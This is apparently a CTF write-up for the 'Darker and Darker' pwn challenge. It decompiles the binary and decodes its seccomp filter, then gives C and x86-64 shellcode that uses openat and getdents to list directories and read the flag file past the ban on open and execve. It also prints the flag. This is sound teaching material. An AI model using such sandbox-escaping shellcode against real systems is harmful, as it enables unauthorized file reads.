# Darker and Darker
> Everything is veiled in shadow. The deeper you go, the darker it becomes — a descent into the unknown where light fades and fear takes hold. In this realm of darkness, the only path to salvation lies in uncovering the light. Will you find your way out, or be consumed by the void?
>
*5 solves, 496 points at the end of the competition.*
## TL;DR
A shellcode problem with `seccomp` filters that prohibits common program execution syscalls. The shellcode can be directly inputted to be ran, with a generous limit. All that is left to do is to probe the target machine for the flag with the available syscalls.
## Preliminary Investigation
Decompiling the binary, we get:
(Binary Ninja, High Level IL)
```
000013c9 int32_t main(int32_t argc, char** argv, char** envp)
000013d5 int32_t var_14 = 0
000013e1 sub_129e()
00001406 int64_t buf = mmap(addr: 0x13370000, len: 0x64, prot: 7, flags: 0x22, fd: 0xffffffff, offset: 0)
00001406
00001414 if (buf == -1)
00001420 sub_1269("mmap failed!\n")
00001420 noreturn
00001420
00001436 memset(buf, 0, 0x64)
0000144a printf(format: "\nInput your shellcode here (max…")
0000144a
0000146c if (read(fd: 0, buf, nbytes: 0x63) == 0)
00001478 sub_1269("read failed!\n")
00001478 noreturn
00001478
00001482 sub_130d()
0000148b buf()
00001493 return 0
```
```
0000129e int64_t sub_129e()
000012bf setvbuf(fp: stdin, buf: nullptr, mode: 2, size: 0)
000012dd setvbuf(fp: stdout, buf: nullptr, mode: 2, size: 0)
000012fb setvbuf(fp: stderr, buf: nullptr, mode: 2, size: 0)
0000130c return alarm(0x3c)
```
```
0000130d int64_t sub_130d()
00001319 void* fsbase
00001319 int64_t rax = *(fsbase + 0x28)
00001328 int16_t var_28 = 0x15
00001335 void* var_20 = &data_4020
00001335
0000135f if (prctl(option: 0x26, 1, 0, 0, 0) s< 0)
0000136b perror(s: "prctl")
00001375 exit(status: 1)
00001375 noreturn
00001375
00001397 if (prctl(option: 0x16, 2, &var_28) s< 0)
000013a3 perror(s: "prctl")
000013ad exit(status: 1)
000013ad noreturn
000013ad
000013c0 if (rax == *(fsbase + 0x28))
000013c8 return rax - *(fsbase + 0x28)
000013c8
000013c2 __stack_chk_fail()
000013c2 noreturn
```
The function `sub_129e` simply sets the buffering for `stdio`, which is typical for pwn CTF challenges so that output appears even when there is not a newline printed at the end (line buffered). Not important.
`sub_130d` invokes `prctl(0x26, 1, 0, 0, 0)`, then `prctl(0x16, 2, &var_28)`. These two calls are `prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)` and `prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &var_28)` respectively. According to the `seccomp` man page:
> In order to use the SECCOMP_SET_MODE_FILTER operation, either the calling thread must have the CAP_SYS_ADMIN capability in its user namespace, or the thread must already have the no_new_privs bit set. If that bit was not already set by an ancestor of this thread, the thread must make the following call:
> `prctl(PR_SET_NO_NEW_PRIVS, 1);`
and then,
> SECCOMP_SET_MODE_FILTER
> ...
> When flags is 0, this operation is functionally identical to the call:
> ```
> prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, args);
> ```
So in a nutshell, the two calls setup `seccomp`. What is more interesting will be the *contents at `&var_28`*, which is the actual filter[^1]:
```
+0000 0x7fffffffd760 15 00 00 00 00 00 00 00 20 80 55 55 55 55 00 00 │........│..UUUU..│
+0010 0x7fffffffd770 c8 d8 ff ff ff 7f 00 00 00 30 18 47 53 f1 45 74 │........│.0.GS.Et│
+0020 0x7fffffffd780 a0 d7 ff ff ff 7f 00 00 87 54 55 55 55 55 00 00 │........│.TUUUU..│
+0030 0x7fffffffd790 80 d8 ff ff 01 00 00 00 00 00 37 13 00 00 00 00 │........│..7.....│
+0040 0x7fffffffd7a0 40 d8 ff ff ff 7f 00 00 48 32 db f7 ff 7f 00 00 │@.......│H2......│
+0050 0x7fffffffd7b0 f0 d7 ff ff ff 7f 00 00 c8 d8 ff ff ff 7f 00 00 │........│........│
+0060 0x7fffffffd7c0 40 40 55 55 01 00 00 00 c9 53 55 55 55 55 00 00 │@@UU....│.SUUUU..│
+0070 0x7fffffffd7d0 c8 d8 ff ff ff 7f 00 00 81 86 87 76 97 a1 c5 88 │........│...v....│
```
Turns out you can also find and decode the filter with `seccomp-tools`, so let's do that instead:
```
$ seccomp-tools dump ./chall
Input your shellcode here (max: 100):
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x20 0x00 0x00 0x00000000 A = sys_number
0006: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0016
0015: 0x06 0x00 0x00 0x00000000 return KILL
0016: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0018
0017: 0x06 0x00 0x00 0x00000000 return KILL
0018: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0020
0019: 0x06 0x00 0x00 0x00000000 return KILL
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
```
You can see that `fork`, `clone`, `prctl`, `mprotect`, `execve`, `execveat`, `open` causes the program to be killed (i.e. they are banned), so our shellcode cannot contain these system calls. (Note that `seccomp` filters are generally not circumventable.) Banning `execve` and `execveat` stops us from popping a shell, banning `open` stops us from reading files (**supposedly, but there is another syscall that does the same thing**). I'm not sure what is the use of banning `fork`, `clone`, `prctl`, `mprotect`, as 1. child processes forked inherits filters, which does not grant us extra capabilities; 2. filters cannot be removed once placed, there is no use calling `prctl` again; 3. we already have executable permissions.
After the `seccomp` filters are set up, the program executes our shellcode with a `call` instruction (`0x148b`) that is read from stdin (`0x146c`).
## Exploit Ideas
I started by looking alternatives to banned syscalls. First that comes to mind is finding alternatives to `execve`: the only one is `execveat`, which is also banned. However, `openat` is available, which basically does the same thing as `open`. This means we can open arbitrary files and read them (since `read` syscall is not banned). With that, I guess that we simply read the flag file.
Frankly, I am not sure if this should be called an exploit. The program is designed to run your shellcode, so it is just a matter of interacting with the system with shellcode.
## Exploit Implementation
### Shellcode Crafting
At first, I tried reading from files like `/flag`, `./flag`, `/flag.txt`, but no luck. I went back to the usual way of listing out the directories to find out where the flag is.
A directory can be read by using the `getdents` syscall:
```C
void fun2() {
// Open the directory (equivalent to openat syscall)
char s[] = "secret";
int dir_fd = openat(AT_FDCWD, s, O_RDONLY);
// Buffer to store directory entries
char buf[4096];
// Read directory entries (equivalent to getdents64 syscall)
fun3(dir_fd, buf, sizeof(buf));
// Write the directory entries to stdout (equivalent to write syscall)
write(1, buf, sizeof(buf));
}
```
Which godbolt generates this assembly code:
```asm
fun2:
push rbp
mov rbp, rsp
sub rsp, 4112
mov DWORD PTR [rbp-11], 1919116659
mov DWORD PTR [rbp-8], 7628146
lea rax, [rbp-11]
mov edx, 0
mov rsi, rax
mov edi, -100
mov eax, 0
call openat
mov DWORD PTR [rbp-4], eax
lea rcx, [rbp-4112]
mov eax, DWORD PTR [rbp-4]
mov edx, 4096
mov rsi, rcx
mov edi, eax
call fun3
lea rax, [rbp-4112]
mov edx, 4096
mov rsi, rax
mov edi, 1
call write
nop
leave
ret
```
Remove the function prologue and eplilogue, replace the `call` instructions with `syscall` instructions and you get:
```asm
mov DWORD PTR [rbp-11], 1919116659
mov DWORD PTR [rbp-8], 7628146
lea rax, [rbp-11]
mov edx, 0
mov rsi, rax
mov edi, -100
mov eax, 257
syscall
mov DWORD PTR [rbp-4], eax
lea rcx, [rbp-4112]
mov edi, DWORD PTR [rbp-4]
mov edx, 4096
mov rsi, rcx
mov eax, 78
syscall
lea rax, [rbp-4112]
mov edx, 4112
mov rsi, rax
mov edi, 1
mov eax, 1
syscall
```
### Exploring the target
At first, `/` is listed, and the code above gives this output:
```
[DEBUG] Received 0x1000 bytes:
00000000 18 01 12 00 00 00 00 00 01 00 00 00 00 00 00 00 │····│····│····│····│
00000010 18 00 2e 00 16 79 00 04 ba 24 10 00 00 00 00 00 │··.·│·y··│·$··│····│
00000020 02 00 00 00 00 00 00 00 18 00 73 79 73 00 00 04 │····│····│··sy│s···│
00000030 df 0b 12 00 00 00 00 00 03 00 00 00 00 00 00 00 │····│····│····│····│
00000040 18 00 76 61 72 00 00 04 b3 24 10 00 00 00 00 00 │··va│r···│·$··│····│
00000050 04 00 00 00 00 00 00 00 18 00 72 75 6e 00 00 04 │····│····│··ru│n···│
00000060 cd 33 10 00 00 00 00 00 05 00 00 00 00 00 00 00 │·3··│····│····│····│
00000070 18 00 74 6d 70 00 00 04 16 50 10 00 00 00 00 00 │··tm│p···│·P··│····│
00000080 06 00 00 00 00 00 00 00 18 00 75 73 72 00 00 04 │····│····│··us│r···│
00000090 f3 23 10 00 00 00 00 00 07 00 00 00 00 00 00 00 │·#··│····│····│····│
000000a0 18 00 62 69 6e 00 00 0a b9 24 10 00 00 00 00 00 │··bi│n···│·$··│····│
000000b0 08 00 00 00 00 00 00 00 18 00 73 72 76 00 00 04 │····│····│··sr│v···│
000000c0 ae 24 10 00 00 00 00 00 09 00 00 00 00 00 00 00 │·$··│····│····│····│
000000d0 18 00 6f 70 74 00 00 04 ad 24 10 00 00 00 00 00 │··op│t···│·$··│····│
000000e0 0a 00 00 00 00 00 00 00 18 00 6d 6e 74 00 00 04 │····│····│··mn│t···│
000000f0 13 0c 12 00 00 00 00 00 0b 00 00 00 00 00 00 00 │····│····│····│····│
00000100 18 00 68 6f 6d 65 00 04 23 01 12 00 00 00 00 00 │··ho│me··│#···│····│
00000110 0c 00 00 00 00 00 00 00 18 00 65 74 63 00 00 04 │····│····│··et│c···│
00000120 a9 24 10 00 00 00 00 00 0d 00 00 00 00 00 00 00 │·$··│····│····│····│
00000130 20 00 6c 69 62 33 32 00 11 02 1d 4a 16 79 00 0a │ ·li│b32·│···J│·y··│
00000140 b8 24 10 00 00 00 00 00 0e 00 00 00 00 00 00 00 │·$··│····│····│····│
00000150 18 00 73 62 69 6e 00 0a 15 01 12 00 00 00 00 00 │··sb│in··│····│····│
00000160 0f 00 00 00 00 00 00 00 18 00 2e 2e 00 79 00 04 │····│····│··..│·y··│
00000170 a8 24 10 00 00 00 00 00 10 00 00 00 00 00 00 00 │·$··│····│····│····│
00000180 18 00 6c 69 62 00 00 0a af 24 10 00 00 00 00 00 │··li│b···│·$··│····│
00000190 11 00 00 00 00 00 00 00 18 00 70 72 6f 63 00 04 │····│····│··pr│oc··│
000001a0 ab 24 10 00 00 00 00 00 12 00 00 00 00 00 00 00 │·$··│····│····│····│
000001b0 20 00 6c 69 62 78 33 32 00 10 00 00 00 00 00 0a │ ·li│bx32│····│····│
000001c0 ac 24 10 00 00 00 00 00 13 00 00 00 00 00 00 00 │·$··│····│····│····│
000001d0 20 00 6d 65 64 69 61 00 3a 3d 99 67 00 00 00 04 │ ·me│dia·│:=·g│····│
000001e0 f4 23 10 00 00 00 00 00 14 00 00 00 00 00 00 00 │·#··│····│····│····│
000001f0 18 00 62 6f 6f 74 00 04 aa 24 10 00 00 00 00 00 │··bo│ot··│·$··│····│
00000200 15 00 00 00 00 00 00 00 20 00 6c 69 62 36 34 00 │····│····│ ·li│b64·│
00000210 d0 24 1c 4a 16 79 00 0a b0 24 10 00 00 00 00 00 │·$·J│·y··│·$··│····│
00000220 16 00 00 00 00 00 00 00 18 00 72 6f 6f 74 00 04 │····│····│··ro│ot··│
00000230 1b 01 12 00 00 00 00 00 17 00 00 00 00 00 00 00 │····│····│····│····│
00000240 18 00 64 65 76 00 00 04 2d 01 12 00 00 00 00 00 │··de│v···│-···│····│
00000250 18 00 00 00 00 00 00 00 20 00 2e 64 6f 63 6b 65 │····│····│ ·.d│ocke│
00000260 72 65 6e 76 00 7f 00 08 fd 0b 12 00 00 00 00 00 │renv│····│····│····│
00000270 19 00 00 00 00 00 00 00 20 00 73 65 63 72 65 74 │····│····│ ·se│cret│
00000280 00 ff ff ff ff ff ff 04 ae 9d 1d 4a 16 79 00 00 │····│····│···J│·y··│
00000290 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 │····│····│····│····│
000002a0 c0 e4 02 4a 16 79 00 00 10 fd 70 be fe 7f 00 00 │···J│·y··│··p·│····│
000002b0 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000002c0 0f 00 00 00 00 00 00 00 b0 24 1c 4a 16 79 00 00 │····│····│·$·J│·y··│
000002d0 90 01 71 be fe 7f 00 00 00 00 00 00 00 00 00 00 │··q·│····│····│····│
000002e0 40 03 00 00 00 00 00 00 80 1f 00 00 ff ff 00 00 │@···│····│····│····│
000002f0 00 00 00 00 00 00 00 00 03 00 3e 00 01 00 00 00 │····│····│··>·│····│
00000300 50 9f 02 00 00 00 00 00 40 00 00 00 00 00 00 00 │P···│····│@···│····│
00000310 f0 d0 21 00 00 00 00 00 00 00 00 00 40 00 38 00 │··!·│····│····│@·8·│
00000320 0e 00 40 00 42 00 41 00 06 00 00 00 04 00 00 00 │··@·│B·A·│····│····│
00000330 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 │@···│····│@···│····│
00000340 40 00 00 00 00 00 00 00 10 03 00 00 00 00 00 00 │@···│····│····│····│
00000350 10 03 00 00 00 00 00 00 08 00 00 00 00 00 00 00 │····│····│····│····│
00000360 03 00 00 00 04 00 00 00 30 3e 1e 00 00 00 00 00 │····│····│0>··│····│
00000370 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff │····│····│····│····│
00000380 ff ff ff ff ff ff ff ff ff ff ff ff ff 00 01 01 │····│····│····│····│
00000390 47 4c 49 42 43 5f 50 52 49 56 41 54 45 00 5f 5f │GLIB│C_PR│IVAT│E·__│
000003a0 5f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │_···│····│····│····│
000003b0 65 61 72 6c 79 5f 69 6e 69 74 00 73 74 72 6e 6c │earl│y_in│it·s│trnl│
000003c0 98 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000003d0 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │`···│····│····│····│
000003e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000003f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
```
Notice the `secret` directory at `0x27a` is not a standard linux directory. Exploring `secret` like `/` above shows that there is a file named `CDr46w9anrq3vg0Z` for me. (The output is similar to the one above)
We read it with the `openat` syscall:
```C
void fun() {
char s[24];
read(0, s, 24);
int fd = openat(AT_FDCWD, s, O_RDONLY); // openat: 257
char buf[0x60];
read(fd, buf, 0x60); // read: 0
write(1, buf, 0x60); // write: 1
}
```
Shellcode:
```asm
lea rax, [rbp-32]
mov edx, 24
mov rsi, rax
mov edi, 0
mov eax, 0
syscall
mov edx, 0
lea rsi, [rbp-32]
mov eax, 257
syscall
mov edi, eax
lea rsi, [rbp-112]
mov edx, 96
mov eax, 0
syscall
lea rsi, [rbp-112]
mov edx, 600
mov edi, 1
mov eax, 1
syscall
```
Since the filename is too long, I used a `read` syscall to get filename from the `stdin` instead of putting it in the shellcode and using shellcode size quota.
### Flag
Flag file path: `/secret/CDr46w9anrq3vg0Z`
Flag: `PUCTF25{d4rk_d474_lurk5_d33p_RHHHBPp1wZ6m7bVAYvV9VpYs2ryh7VIj}`
## Opinion
Personally, I don't think this is a fun challenge. At the end of the day, the only techniques needed to solve this challenge are reading seccomp filters and writing shellcode. After that, it is just decoding the `getdent` output and try to guess the file path of the flag, even although it can be argued that knowing how to explore the file system under strict conditions is also an important skill.
Honestly the assumption that the flag is in a file is still a guess. It could be in environment variables, for instance.
**Tuning index: 2/5**
[^1]: You can locate the filter bytes by setting a breakpoint at the `prctl` call and examine the function arguments. The filter should be these bytes, but it does not make too much sense to me now and I have forgotten how I decoded them.